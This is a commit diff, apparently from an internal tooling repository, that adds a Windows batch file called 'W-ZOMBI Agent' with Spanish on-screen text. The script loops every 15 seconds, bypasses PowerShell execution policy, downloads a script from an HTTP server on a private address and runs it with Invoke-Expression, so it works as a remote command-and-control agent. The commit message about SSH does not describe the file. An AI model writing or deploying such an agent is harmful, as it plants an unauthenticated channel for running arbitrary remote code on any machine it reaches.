[P2602][F1] sysacadweb SSH 7022 verified, nodo updated (IP 10.0.10.12), Win32-OpenSSH legacy

tools/w-zombi/payloads/zombi_agent.bat

@@ -0,0 +1,38 @@
+@echo off
+chcp 65001 >nul 2>&1
+title W-ZOMBI Agent - Conectado a srv-ns8
+color 0A
+
+echo ======================================================
+echo    W-ZOMBI Agent — Esperando ordenes de srv-ns8
+echo ======================================================
+echo.
+echo  Este agente se queda abierto y ejecuta lo que 
+echo  srv-ns8 le envie. NO cerrar esta ventana.
+echo.
+echo  Servidor: http://10.0.10.8:8000
+echo ======================================================
+echo.
+
+:LOOP
+echo [%TIME%] Consultando payload activo...
+
+REM Descargar y ejecutar el payload activo via PowerShell
+powershell -ExecutionPolicy Bypass -Command ^
+  "$ErrorActionPreference='Continue'; " ^
+  "try { " ^
+  "  $script = (New-Object Net.WebClient).DownloadString('http://10.0.10.8:8000/payloads/activo.ps1'); " ^
+  "  if ($script -and $script.Trim() -ne '') { " ^
+  "    Write-Host '[ZOMBI] Ejecutando payload...' -ForegroundColor Green; " ^
+  "    Invoke-Expression $script " ^
+  "  } else { " ^
+  "    Write-Host '[ZOMBI] Sin payload pendiente.' -ForegroundColor DarkGray " ^
+  "  } " ^
+  "} catch { " ^
+  "  Write-Host '[ZOMBI] Sin conexion a srv-ns8, reintentando...' -ForegroundColor Yellow " ^
+  "}"
+
+echo.
+echo [%TIME%] Esperando 15 segundos... (CTRL+C para salir)
+timeout /t 15 /nobreak >nul
+goto LOOP